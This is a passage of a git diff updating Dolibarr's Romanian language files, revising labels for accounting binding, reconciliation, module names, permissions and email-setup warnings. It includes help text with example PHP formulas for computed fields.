sub un singur nume, pentru a ușura utilizarea filtrului sau crearea de rapoarte personalizate. Reconcilable=Compensabil TotalVente=Cifra de afaceri totală înainte de impozitare TotalMarge=Total marje vânzări -DescVentilCustomer=Consultă aici lista liniilor de facturare clienți asociate (sau nu) contului contabil al produsului -DescVentilMore=În majoritatea cazurilor, dacă utilizați produse sau servicii predefinite și setați numărul contului pe fişa de produs/serviciu, aplicația va putea să facă asociere dintre liniile tale de factură și contul contabil, doar printr-un singur clic pe butonul "%s". Dacă contul contabil nu a fost setat pe fişele de produs/serviciu sau dacă mai aveți încă unele linii care nu sunt asociate la un cont, va trebui să faceți o asociere manuală din meniul "%s". -DescVentilDoneCustomer=Consultă aici lista liniilor de facturare pentru clienți și a contului contabil al produselor lor -DescVentilTodoCustomer=Asociază linii de facturare care nu sunt deja legate de contul contabil al produsului -ChangeAccount=Modificați contul contabil al produsului/serviciului pentru liniile selectate cu următorul cont contabil: +DescVentilCustomer=Consultă aici lista liniilor de factură ale clienților asociate (sau nu) unui cont de produs din planul de conturi  +DescVentilMore=În majoritatea cazurilor, dacă utilizezi produse sau servicii predefinite și setezi contul contabil (din planul de conturi) pe fișa de produs/serviciu, aplicația va putea face toate legăturile între liniile de factură și contul contabil , doar cu un singur clic pe butonul "%s". Dacă contul nu a fost setat pe fișa de produse/servicii sau dacă mai aveți linii neasociate la un cont, va trebui să faci o asociere manuală din meniul "%s". +DescVentilDoneCustomer=Consultă aici lista liniilor de facturi clienți și contul lor contabil de produse din planul de conturi +DescVentilTodoCustomer=Asociere linii de factură care nu sunt deja asociate cu un cont de produs din planul de conturi +ChangeAccount=Modificare cont de produs/serviciu (din planul de conturi) pentru liniile selectate cu următorul cont: Vide=- -DescVentilSupplier=Consultați aici lista liniilor de pe factura de achiziţie asociate sau nu la un cont de produs (doar înregistrările care nu au fost deja transferate în contabilitate sunt vizibile) +DescVentilSupplier=Modificare cont de produs/serviciu (din planul de conturi) pentru liniile selectate cu următorul cont: DescVentilDoneSupplier=Consultați aici lista liniilor facturilor furnizorilor și contul lor contabil DescVentilTodoExpenseReport=Asociere linii de rapoarte de cheltuieli care nu sunt deja asociate unui cont contabil de cheltuieli DescVentilExpenseReport=Consultă aici lista liniilor de rapoarte cheltuieli asociate (sau nu) unui cont contabil de cheltuieli @@ -286,20 +295,21 @@ DescClosure=Consultă aici numărul de mișcări pe lună nevalidate și blocate OverviewOfMovementsNotValidated=Prezentare generală a mișcărilor nevalidate și blocate AllMovementsWereRecordedAsValidated=Toate mișcările au fost înregistrate ca validate și blocate NotAllMovementsCouldBeRecordedAsValidated=Nu toate mișcările au putut fi înregistrate ca validate și blocate -ValidateMovements=Validare şi blocare înregistrare... +ValidateMovements=Validează și blochează mișcări... DescValidateMovements= Orice modificare sau ștergere a înregistrărilor va fi interzisă. Toate intrările pentru un exercițiu financiar trebuie validate, altfel închiderea nu va fi posibilă ValidateHistory=Asociază automat AutomaticBindingDone=Asicierea automată a fost efectuată (%s) - Asocierea automată nu este posibilă pentru unele înregistrări (%s) +DoManualBindingForFailedRecord=Trebuie să faci o asociere manuală pentru lin(iile) %s care nu sunt legate automat. -ErrorAccountancyCodeIsAlreadyUse=Eroare, nu puteți șterge acest cont contabil, deoarece este folosit +ErrorAccountancyCodeIsAlreadyUse=Eroare, nu poți elimina sau dezactiva acest cont contabil pentru că este utilizat MvtNotCorrectlyBalanced=Mișcarea nu este echilibrată corect. Debit = %s & Credit = %s Balancing=în balanţă FicheVentilation=Fişă asociere GeneralLedgerIsWritten=Tranzacțiile sunt scrise în Registrul jurnal GeneralLedgerSomeRecordWasNotRecorded=Unele tranzacții nu au putut fi înregistrate în jurnal. Dacă nu există niciun alt mesaj de eroare, acest lucru se datorează, probabil, faptului că au fost deja înregistrate în jurnal. NoNewRecordSaved=Nu mai sunt înregistrări de transferat -ListOfProductsWithoutAccountingAccount=Lista produselor care nu sunt asociate unui cont contabil +ListOfProductsWithoutAccountingAccount=Lista produselor care nu sunt legate de niciun cont din planul de conturi ChangeBinding=Schimbați asocierea Accounted=Contabilizat în Registrul Jurnal NotYetAccounted=Netransferat încă în contabilitate @@ -322,9 +332,10 @@ AccountingJournalType1=Operațiuni diverse AccountingJournalType2=Vânzări AccountingJournalType3=Achiziţii AccountingJournalType4=Banca -AccountingJournalType5=Raport de Cheltuieli +AccountingJournalType5=Rapoarte de cheltuieli AccountingJournalType8=Inventar AccountingJournalType9=Are nou +GenerationOfAccountingEntries=Generare înregistrări contabile ErrorAccountingJournalIsAlreadyUse=Acest jurnal este deja folosit AccountingAccountForSalesTaxAreDefinedInto=Notă: contul contabil pentru taxe de vânzări este definit în meniul %s - %s NumberOfAccountancyEntries=Număr de intrări @@ -332,10 +343,14 @@ NumberOfAccountancyMovements=Număr de mișcări ACCOUNTING_DISABLE_BINDING_ON_SALES=Dezactivați legarea și transferul în contabilitate pentru vânzări (facturile clienților nu vor fi luate în considerare în contabilitate) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Dezactivați legarea și transferul în contabilitate pentru achiziții (facturile furnizor nu vor fi luate în considerare în contabilitate) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Dezactivați legarea și transferul în contabilitate pentru rapoartele de cheltuieli (rapoartele de cheltuieli nu vor fi luate în considerare în contabilitate) +ACCOUNTING_ENABLE_LETTERING=Activare funcție de numerotare în contabilitate +ACCOUNTING_ENABLE_AUTOLETTERING=Activare numerotare automată la transferul în contabilitate ## Export +NotExportLettering=Nu exporta numerotările atunci când se generează fișierul NotifiedExportDate=Marcare linii exportate ca Exportate (pentru a modifica o linie, va trebui să ștergi întreaga tranzacție și să o retransferi în contabilitate) NotifiedValidationDate=Validare și blocare intrări exportate (același efect ca și caracteristica "%s", modificarea și ștergerea liniilor NU vor mai fi posibile) +NotifiedExportFull=Export documente ? DateValidationAndLock=Dată de validare şi blocare ConfirmExportFile=Confirmare generare fișier de export contabil? ExportDraftJournal=Export jurnal schiţă @@ -392,7 +407,7 @@ SaleLocal=Vânzare locală SaleExport=Vânzare la export SaleEEC=Vânzări în CEE SaleEECWithVAT=Vânzarea în CEE cu cota TVA diferită de zero, deci presupunem că aceasta NU este o vânzare intracomunitară, iar contul contabil este cel standard al produsului. -SaleEECWithoutVATNumber=Vânzare în CEE fără TVA, dar codul TVA al terțului nu este definit. Se va utiliza contul contabil de produs pentru vânzările standard. Completaţi codul de TVA al terțului sau contul contabil aferent produsului. +SaleEECWithoutVATNumber=Vânzare în CEE fără TVA, dar codul de TVA al terților nu este definit. Revenim la contul vânzărilor standard. Poți remedia codul de TVA al terțului sau poți modifica contul de produs sugerat pentru asociere, dacă este necesar. ForbiddenTransactionAlreadyExported=Interzis: Tranzacţia a fost validată şi/sau exportată. ForbiddenTransactionAlreadyValidated=Interzis: Tranzacţia a fost validată. ## Dictionary @@ -401,7 +416,11 @@ Calculated=Calculat Formula=Formulă ## Reconcile +LetteringAuto=Reconciliere automată +LetteringManual=Reconciliere manuală Unlettering=Dereconciliere +UnletteringAuto=De-reconciliere automată +UnletteringManual=De-reconciliere manuală AccountancyNoLetteringModified=Nicio reconciliere modificată AccountancyOneLetteringModifiedSuccessfully=O reconciliere a fost modificată cu succes AccountancyLetteringModifiedSuccessfully=%s reconciliere modificată cu succes @@ -410,8 +429,9 @@ AccountancyOneUnletteringModifiedSuccessfully=O dereconciliere a fost modificat AccountancyUnletteringModifiedSuccessfully=Dereconcilierea %s a fost modificată cu succes ## Confirm box -ConfirmMassUnlettering=Confirmare dereconciliere în masă -ConfirmMassUnletteringQuestion=Sigur vrei să anulezi dereconcilierea înregistrăr(ilor) %s selectate?  +ConfirmMassUnletteringAuto=Confirmare de de-reconciliere automată în masă +ConfirmMassUnletteringManual=Confirmare de de-reconciliere manuală în masă +ConfirmMassUnletteringQuestion=Sigur vrei să anulezi reconcilierea înregistrăr(ilor) selectate %s ? ConfirmMassDeleteBookkeepingWriting=Confirmare ştergere în bloc ConfirmMassDeleteBookkeepingWritingQuestion=Aceasta va șterge tranzacția din contabilitate (toate liniile legate de aceeași tranzacție vor fi șterse) Sunteți sigur că doriți să ștergeți înregistrăr(ile) %sselectate? @@ -431,6 +451,7 @@ AccountancyErrorMismatchLetterCode=Nepotrivire cod de reconciliere AccountancyErrorMismatchBalanceAmount=Soldul (%s) nu este egal cu 0 AccountancyErrorLetteringBookkeeping=Au apărut erori cu privire la tranzacții: %s ErrorAccountNumberAlreadyExists=Numărul de cont contabil %s există deja +ErrorArchiveAddFile=Nu se poate adăuga fișierul "%s" în arhivă ## Import ImportAccountingEntries=Intrări contabile @@ -457,6 +478,7 @@ FECFormatMulticurrencyCode=Cod multi-monedă (Idevise) DateExport=Dată export WarningReportNotReliable=Atenție, acest raport nu se bazează pe registrul jurnal contabil, deci nu conține o tranzacție modificată manual în registrul contabil. Dacă jurnalele sunt actualizate, vizualizarea contabilă este mai precisă. ExpenseReportJournal=Jurnalul raportului de cheltuieli -InventoryJournal=Jurnal inventar +DocsAlreadyExportedAreExcluded=Documentele deja exportate sunt excluse +ClickToHideAlreadyExportedLines=Clic pentru a ascunde liniile deja exportate NAccounts=%s conturi diff --git a/htdocs/langs/ro_RO/admin.lang b/htdocs/langs/ro_RO/admin.lang index 960c08741dc..bae975f4fbe 100644 --- a/htdocs/langs/ro_RO/admin.lang +++ b/htdocs/langs/ro_RO/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Îmbinare client WarningModuleNotActive=Modulul %s trebuie să fie activat WarningOnlyPermissionOfActivatedModules=Numai permisiunile legate de modulele activate sunt prezentate aici. Aveţi posibilitatea să activaţi alte module în Acasă->Setări->Module. DolibarrSetup=Dolibarr instalare sau actualizare -InternalUser=Utilizator intern -ExternalUser=Utilizator extern InternalUsers=Utilizatori interni ExternalUsers=Utilizatori externi UserInterface=Interfaţă utilizator @@ -147,6 +145,7 @@ Box=Widget Boxes=Widget-uri MaxNbOfLinesForBoxes=Numărul maxim de linii pentru widget-uri AllWidgetsWereEnabled=Toate widgeturile disponibile sunt activate +WidgetAvailable=Widget disponibil PositionByDefault=Ordinea implicită Position=Poziţie MenusDesc=Managerii de meniuri stabilesc conținutul celor două bare de meniu (orizontală și verticală). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=Gazdă SMTP/SMTPS (valoarea implicită în php.ini: %s< MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=Portul SMTP/SMTPS (nu este definit în PHP pe sistemele de tip Unix) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=Gazdă SMTP/SMTPS (nu este definită în PHP pe sistemele de tip Unix) MAIN_MAIL_EMAIL_FROM=Emailul expeditorului pentru emailurile automate (valoarea implicită în php.ini: %s) +EMailHelpMsgSPFDKIM=Pentru a preveni ca email-urile din sistem Dolibarr să fie clasificate ca spam, asigură-te că serverul este autorizat să trimită email-uri de la această adresă prin configurația SPF și DKIM MAIN_MAIL_ERRORS_TO=Emailul utilizat pentru emailurile care se întorc cu erori (câmpurile 'Error-To' din emailurile trimise) MAIN_MAIL_AUTOCOPY_TO= Copie (Bcc) pentru toate emailurile trimise către MAIN_DISABLE_ALL_MAILS=Dezactivați trimiterea tuturor e-mailurilor (în scopuri de testare sau demonstrații) @@ -375,7 +375,7 @@ DoTestSendHTML=Test trimitere HTML ErrorCantUseRazIfNoYearInMask=Eroare, nu se poate folosi opțiunea @ pentru a reseta contorul la fiecare an, dacă secvența {yy} sau {yyyy} nu este în mască. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Eroare, nu se poate utiliza opţiunea @ dacă secvenţa {yy}{mm} sau {yyyy}{mm} nu este în mască. UMask=Parametrul UMask pentru fişiere noi în sistemul de fişiere Unix/Linux/BSD/Mac. -UMaskExplanation=Acest parametru îţi permite să defineşti permisiuni implicite pe fişierele create de sistem pe server (în timpul încărcării, de exemplu).
      Acesta trebuie să fie o valoare octală (de exemplu, 0666 înseamnă citire şi scriere pentru toată lumea).
      Acest parametru nu se poate utiliza pe un server Windows. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Uitați-vă la pagina Wiki pentru o listă de contribuitori și organizațiiile lor UseACacheDelay= Întârziere răspuns pentru caching de export în secunde (0 sau gol pentru nici un cache) DisableLinkToHelpCenter=Ascunde link-ul "Ai nevoie de ajutor sau asistență" de pe pagina de autentificare @@ -439,8 +439,10 @@ Unique=Unic Boolean=Boolean (o casetă de selectare) ExtrafieldPhone = Telefon ExtrafieldPrice = Preţ +ExtrafieldPriceWithCurrency=Preț în monedă ExtrafieldMail = Email ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Listă de selecţie ExtrafieldSelectList = Selecţie din tabel ExtrafieldSeparator=Separator (nu un câmp) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Casete de bifare ExtrafieldCheckBoxFromList=Casete de selectare din tabel ExtrafieldLink=Link către un obiect ComputedFormula=Câmp calculat -ComputedFormulaDesc=Puteți introduce aici o formulă folosind alte proprietăți ale obiectului sau orice cod PHP pentru a obține o valoare calculată dinamic. Puteți utiliza orice formule compatibile PHP, inclusiv "?" operator de condiții și următorul obiect global: $db, $conf, $langs, $mysoc, $user, $object.
      ATENŢIE: Doar unele proprietăți $object pot fi disponibile. Dacă aveți nevoie de o proprietate care nu este încărcată, introduceți singur obiectul în formula dvs. ca în cel de-al doilea exemplu.
      Utilizarea unui câmp calculat înseamnă că nu puteți introduce nici o valoare din interfață. De asemenea, dacă există o eroare de sintaxă, formula nu poate returna nimic.\n

      Exemplu de formulă
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Exemplu cu reîncărcarea obiectului
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Un alt exemplu de formulă pentru a forța încărcarea obiectului și a obiectului său părinte:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Proiectul părinte nu a fost găsit' +ComputedFormulaDesc=Poți introduce aici o formulă folosind alte proprietăți ale obiectului sau orice codare PHP pentru a obține o valoare calculată dinamică. Poți utiliza orice formulă compatibilă cu PHP, inclusiv "?" operator de condiție și următorul obiect global: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      ATENȚIE: Dacă ai nevoie de proprietățile unui obiect neîncărcat, adu obiectul în formula ta ca în a doilea exemplu.
      Folosind un câmp calculat înseamnă că nu poți introduce nicio valoare din interfață. De asemenea, dacă există o eroare de sintaxă, formula poate returna nimic.

      Exemplu de formulă:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Exemplu de reîncărcare a obiectului
      (( $reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1' )

      Alt exemplu de formulă pentru a forța încărcarea obiectului și a obiectului părinte:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Proiect($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: „Proiectul părinte nu a fost găsit” Computedpersistent=Câmp calculat stocat ComputedpersistentDesc=Extracâmpurile calculate vor fi stocate în baza de date, cu toate acestea, valorile lor vor fi recalculate numai atunci când obiectul acestui câmp este modificat. Dacă câmpul calculat depinde de alte obiecte sau date globale, aceste valori ar putea fi greșite!! ExtrafieldParamHelpPassword=Lăsând acest câmp necompletat înseamnă că această valoare va fi stocată fără criptare (câmpul trebuie ascuns cu steluţe pe ecran).
      Setaţi 'auto' pentru utilizarea regulii de criptare implicită la salvarea parolei în baza de date (atunci valoarea citită va fi numai hash, nefiind nici o şansă de a recupera valoarea inițială) @@ -501,7 +503,8 @@ WarningPHPMail=ATENŢIE: Configurarea pentru trimitea de email-uri din aplicați WarningPHPMailA=- Utilizarea serverului furnizorului de servicii de e-mail crește fiabilitatea e-mailului dvs., astfel încât crește livrabilitatea fără a fi semnalată ca SPAM WarningPHPMailB=- Unii furnizori de servicii de email (cum ar fi Yahoo) nu vă permit să trimiteți un email de pe alt server decât propriul server. Configurarea dvs. actuală utilizează serverul aplicației pentru a trimite email-uri și nu serverul furnizorului dvs. de email, deci unii destinatari (cei compatibili cu protocolul restrictiv DMARC), vă vor întreba furnizorul de email dacă vă pot accepta emailul și unii furnizori de email (cum ar fi Yahoo) poate răspunde "nu" deoarece serverul nu este al lor, așa că puține emailuri trimise pot să nu fie acceptate pentru livrare (aveți grijă și la cota de trimitere a furnizorului dvs. de email). WarningPHPMailC=- Utilizând serverul SMTP al furnizorului de servicii email pentru a trimite email-uri este, de asemenea, interesantă, astfel încât toate email-urile trimise din aplicație vor fi, de asemenea, salvate în directorul "Trimise" al cutiei poștale. -WarningPHPMailD=De asemenea, este recomandat, prin urmare, schimbarea metodei de trimitere a email-urilor la "SMTP". Dacă vrei cu adevărat să păstrezi metoda implicită "PHP" pentru a trimite email-uri, trebuie doar să ignori acest avertisment sau să îl elimini setând constanta MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP la 1 în Acasă - Setări - Alte setări. +WarningPHPMailD=Prin urmare, este recomandat să schimbi metoda de trimitere a email-urilor la valoarea "SMTP". +WarningPHPMailDbis=Dacă vrei cu adevărat să păstrezi metoda implicită "PHP" pentru a trimite email-uri, ignoră acest avertisment sau elimină-l făcând %sclic aici%s. WarningPHPMail2=Dacă furnizorul dvs. de e-mail SMTP trebuie să restricționeze clientul de email la unele adrese IP (foarte rar), aceasta este adresa IP a agentului utilizator de email (MUA) pentru aplicația ERP CRM: %s. WarningPHPMailSPF=Dacă numele domeniului din adresa de email a expeditorului este protejat de o înregistrare SPF (adresează-te registratorului numelui de domeniu), trebuie să adaugi următoarele IP-uri în înregistrarea SPF DNS a domeniului tău: %s. ActualMailSPFRecordFound=Înregistrare SPF reală găsită (pentru email-ul %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Exemplu:
      Pentru formularul de creare a u PageUrlForDefaultValuesList=
      Exemplu:
      Pentru pagina care afișează terți, este %s.
      Pentru URL-ul modulelor externe instalate în directorul personalizat, nu include "custom/" utilizează o cale ca mymodule/mypagelist.php și nu custom/mymodule/mypagelist.php.
      Utilizează valoarea implicită numai dacă URL-ul are un anumit parametru, %s AlsoDefaultValuesAreEffectiveForActionCreate=De asemenea, rețineți că suprascrierea valorilor implicite pentru crearea de formulare funcționează numai pentru paginile care au fost proiectate corect (deci cu parametrul de action=create sau view...) EnableDefaultValues=Activați personalizarea valorilor implicite -EnableOverwriteTranslation=Activați utilizarea traducerilor cu suprascriere +EnableOverwriteTranslation=Permite personalizarea traducerilor GoIntoTranslationMenuToChangeThis=A fost găsită o traducere pentru cheia cu acest cod. Pentru a modifica această valoare, trebuie să o editați din Acasă-Setări-Traduceri. WarningSettingSortOrder=Atenţie, setarea unei ordini de sortare implicite poate duce la o eroare tehnică atunci când mergeți în lista paginii dacă câmpul este un câmp necunoscut. Dacă întâmpinați o astfel de eroare, reveniți la această pagină pentru a elimina ordinea de sortare implicită și pentru a restabili comportamentul implicit. Field=Câmp @@ -643,11 +646,13 @@ Module2300Name=Joburi de sistem programate Module2300Desc=Gestionarea planificată a joburilor de sistem (alias cron sau chrono) Module2400Name=Evenimente/Agendă Module2400Desc=Urmăriți evenimentele. Înregistrați evenimente automate sau manual pentru a nota activităţi sau întâlniri. Acesta este modulul principal pentru o bună gestionare a relațiilor cu clienții sau furnizorii. +Module2430Name=Sistem calendar de rezervări +Module2430Desc=Furnizează un calendar online pentru a permite oricui să rezerve întâlniri, conform intervalelor sau disponibilităților predefinite. Module2500Name=DMS / ECM Module2500Desc=Sistemul de management al documentelor / Gestiunea conținutului electronic. Organizarea automată a documentelor tale generate sau stocate. Le poţi partaja dacă este necesar. -Module2600Name=Servicii API/Web (SOAP server) +Module2600Name=API / Servicii web (Server SOAP) Module2600Desc=Activați serverul SOAP pentru a furniza servicii API -Module2610Name=Servicii API/Web (server REST) +Module2610Name=API / Servicii web (Server REST) Module2610Desc=Activare server REST pentru furnizarea de servicii API Module2660Name=Call WebServices (SOAP client) Module2660Desc=Activați clientul de servicii Web (Poate fi folosit pentru a împinge datele/cererile către servere externe. În prezent, sunt acceptate numai comenzile de achiziţie.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=Capabilităţi de conversie GeoIP Maxmind Module3200Name=Jurnale Nealterabile Module3200Desc=Activează un jurnal inalterabil al evenimentelor de afaceri. Evenimentele sunt arhivate în timp real. Jurnalul este o tabelă cu functie doar de citire a evenimentelor în lanț care pot fi exportate. Acest modul poate fi obligatoriu pentru unele țări. +Module3300Name=Dezvoltator de module +Module3300Desc=Un instrument RAD (Rapid Application Development - low-code and no-code) pentru a ajuta dezvoltatorii sau utilizatorii avansați să-și construiască propriul modul/aplicație. Module3400Name=Reţele sociale Module3400Desc=Activați câmpurile Rețele sociale la terți și adrese (skype, twitter, facebook, ...). Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=Incoterm Module62000Desc=Adăugați caracteristici pentru a gestiona Incoterms Module63000Name=Resurse Module63000Desc=Gestionarea resurselor (imprimante, mașini, camere, ...) pentru a le aloca evenimentelor -Permission11=Citeşte facturi clienţi +Module66000Name=Activare autentificare OAuth2 +Module66000Desc=Furnizează un instrument pentru a genera și gestiona token-uri OAuth2. Token-ul poate fi apoi folosit de alte module. +Module94160Name=Recepţii +Permission11=Citește facturile clienți (și plăți) Permission12=Creare/modificare facturi clienţi Permission13=Invalidează facturi client Permission14=Validare facturi client @@ -842,9 +852,9 @@ Permission286=Export contacte Permission291=Citeşte tarife Permission292=Setare permisiuni pe tarifele de Permission293=Modificare tarife client -Permission300=Citire coduri de bare -Permission301=Creare/modificare coduri de bare -Permission302=Șterge coduri de bare +Permission301=Generare PDF cu coduri de bare +Permission304=Creare/modificare coduri de bare +Permission305=Șterge coduri de bare Permission311=Citeşte servicii Permission312=Atribuire serviciu/abonament la contract Permission331=Citire marcaje @@ -940,7 +950,7 @@ Permission1190=Aprobă comenzile de achiziție (a doua aprobare) Permission1191=Export comenzi de achiziţie cu atribute Permission1201=Descarcă rezultatul unui export de date Permission1202=Creare/modificare export de date -Permission1231=Citeşte facturi furnizori +Permission1231=Citește facturi furnizor (și plăți) Permission1232=Creare/modificare facturi furnizori Permission1233=Validare facturi furnizori Permission1234=Șterge facturi furnizori @@ -971,13 +981,14 @@ Permission3301=Generare module noi Permission4001=Citeşte abilitate/job/post Permission4002=Creare/modificare abilitate/job/post Permission4003=Şterge abilitate/job/post -Permission4020=Citeşte evaluări -Permission4021=Creare/modificare evaluare a ta -Permission4022=Validare evaluare -Permission4023=Ştergere evaluare -Permission4030=Vede meniul de comparare +Permission4021=Citește evaluări (proprii și ale subordonaților) +Permission4022=Creare/modificare evaluări +Permission4023=Validare evaluare +Permission4025=Ştergere evaluare +Permission4028=Vede meniul de comparare Permission4031=Citeşte informaţii personale Permission4032=Scrie informaţii personale +Permission4033=Citește toate evaluările (chiar și cele ale utilizatorilor care nu-i sunt subordonați) Permission10001=Citeşte conținut site web Permission10002=Creare/modificare conținut site web (html și conținut javascript) Permission10003=Creare/modificare conținut site web (cod php dinamic). Periculos, trebuie rezervat dezvoltatorilor restricționați. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Tip de amortizare active TypeOfUnit=Tip de unitate SetupSaved=Setări salvate SetupNotSaved=Setarea nu a fost salvată +OAuthServiceConfirmDeleteTitle=Șterge înregistrare OAuth +OAuthServiceConfirmDeleteMessage=Sigur vrei să ștergi această înregistrare OAuth? Toate token-urile existente pentru aceasta vor fi, de asemenea, șterse. +ErrorInEntryDeletion=Eroare la ștergerea înregistrării +EntryDeleted=Înregistrare ștearsă BackToModuleList=Înapoi la lista Module BackToDictionaryList=Înapoi la lista de dicționare TypeOfRevenueStamp=Tip taxă de timbru @@ -1222,7 +1237,7 @@ SetupDescription4=%s->%s

      Acest software este o suită de SetupDescription5=Meniul Alte setări gestionează parametrii opționali. SetupDescriptionLink=%s - %s SetupDescription3b=Parametrii de bază utilizați pentru a personaliza comportamentul implicit al aplicației (de exemplu, pentru funcționalităţile legate de țară). -SetupDescription4b=Acest software este o suită de mai multe module/aplicații. Modulele care vă sunt necesare trebuie să fie activate și configurate. Intrările din meniu vor apărea odată cu activarea acestor module. +SetupDescription4b=Acest software este o suită de multe module/aplicații. Modulele de care ai nevoie trebuiesc activate. Intrările din meniu vor apărea odată cu activarea acestor module. AuditedSecurityEvents=Evenimentele de securitate care sunt auditate NoSecurityEventsAreAduited=Niciun eveniment de securitate nu este auditat. Le poţi activa din meniul %s Audit=Evenimente securitate @@ -1244,6 +1259,7 @@ AreaForAdminOnly=Parametrii de configurare pot fi setați numai de utilizator SystemInfoDesc=Informațiile de sistem sunt informații tehnice diverse pe care le poţi accesa numai în modul citire, fiind vizibile numai pentru administratori. SystemAreaForAdminOnly=Această zonă este disponibilă numai pentru administratori. Permisiunile utilizatorilor de sistem nu pot modifica această restricție. CompanyFundationDesc=Editează informaţiile despre compania/organizaţia ta. Dă click pe butonul "%s" din josul paginii când ai terminat. +MoreNetworksAvailableWithModule=Mai multe rețele sociale pot fi disponibile activând modulul "Rețele sociale".  AccountantDesc= Dacă aveți un contabil/firmă de contabilitate externă, puteți modifica aici informațiile aferente. AccountantFileNumber=Cod contabil DisplayDesc=Parametrii care afectează aspectul și prezentarea aplicației pot fi modificați aici. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Trigger-ele din acest fişier sunt active pe măsur GeneratedPasswordDesc=Alegeți metoda care va fi utilizată pentru parolele auto-generate. DictionaryDesc=Introduceți toate datele de referință. Poţii adăuga valorile tale la valorile implicite. ConstDesc=Această pagină vă permite să editați (să suprascrieţi) parametrii care nu sunt disponibili în alte pagini. Aceștia sunt în mare parte parametri rezervați doar pentru dezvoltatori/soluționare avansată a problemelor. +MiscellaneousOptions=Opțiuni diverse MiscellaneousDesc=Toți ceilalți parametri legați de securitate sunt definiți aici. LimitsSetup=Limite/Precizii LimitsDesc=Puteți defini limite, precizii şi optimizări utilizate de sistem aici @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Trebuie să rulaţi această co YourPHPDoesNotHaveSSLSupport=Funcţiile SSL funcţii nu sunt disponibile în PHP. DownloadMoreSkins=Mai multe teme de descărcat SimpleNumRefModelDesc=Returnează numărul de referință în formatul %s yymm-nnnn unde yy este anul, mm este luna și nnnn este un număr secvențial cu incrementare automată fără resetare +SimpleRefNumRefModelDesc=Returnează numărul de referință în formatul n, unde n este un număr cu incrementare automată secvențială fără resetare +AdvancedNumRefModelDesc=Returnează numărul de referință în formatul %syymm-nnnn unde yy este anul, mm este luna și nnnn este un număr secvențial cu incrementare automată fără resetare SimpleNumRefNoDateModelDesc=Returnează numărul de referință în formatul %s-nnnn unde nnnn este un număr de incrementare automată secvențial fără resetare ShowProfIdInAddress=Afişează Id-ul profesional cu adresele ShowVATIntaInAddress=Ascunde codul de TVA intracomunitar @@ -1380,7 +1399,7 @@ GetBarCode=Preia cod de bare NumberingModules=Modele de numerotare DocumentModules=Şabloane documente ##### Module password generation -PasswordGenerationStandard=Returnați o parolă generată conform algoritmului intern Dolibarr: %scaractere numere și litere mici. +PasswordGenerationStandard=Returnează o parolă generată conform algoritmului intern Dolibarr: %s caractere care conțin numere și caractere partajate. PasswordGenerationNone=Nu sugera o parolă generată. Parola trebuie introdusă manual. PasswordGenerationPerso=Returnați o parolă în funcție de configurația ta personalizată. SetupPerso=În funcție de configurația ta @@ -1434,6 +1453,10 @@ SuppliersPayment=Plăți furnizori SupplierPaymentSetup=Configurare plăți furnizor InvoiceCheckPosteriorDate=Verficare data factură înainte de validare InvoiceCheckPosteriorDateHelp=Validarea unei facturi va fi interzisă dacă data acesteia este anterioară datei ultimei facturi de același tip. +InvoiceOptionCategoryOfOperations=Afișează pe factură mențiunea "Categorie operațiuni". +InvoiceOptionCategoryOfOperationsHelp=In functie de situatie, mentiunea va aparea sub forma:-
      Categorie operațiuni: Livrare bunuri
      - Categorie operațiuni: Prestare de servicii
      - Categorie operațiuni: Mixt - Livrare de bunuri & prestare de servicii +InvoiceOptionCategoryOfOperationsYes1=Da, sub blocul de adresă +InvoiceOptionCategoryOfOperationsYes2=Da, în colțul din stânga jos ##### Proposals ##### PropalSetup=Configurare modul Oferte Comerciale ProposalsNumberingModules=Modele numerotare Oferte comerciale @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Filigranul de pe contractele schiţă (niciunul da ##### Members ##### MembersSetup=Configurare modul Membri MemberMainOptions=Opţiuni principale +MemberCodeChecker=Opțiuni pentru generarea automată a codurilor de membru AdherentLoginRequired= Gestionează autentificarea pentru fiecare membru AdherentMailRequired=Emailul este necesar pentru a crea un nou membru MemberSendInformationByMailByDefault=Opţiunea de a trimite email de confirmare a membrilor(validare sau confirmare adeziune) este activă în mod implicit MemberCreateAnExternalUserForSubscriptionValidated=Creare cont de utilizator extern pentru fiecare adeziune de membru nou validat 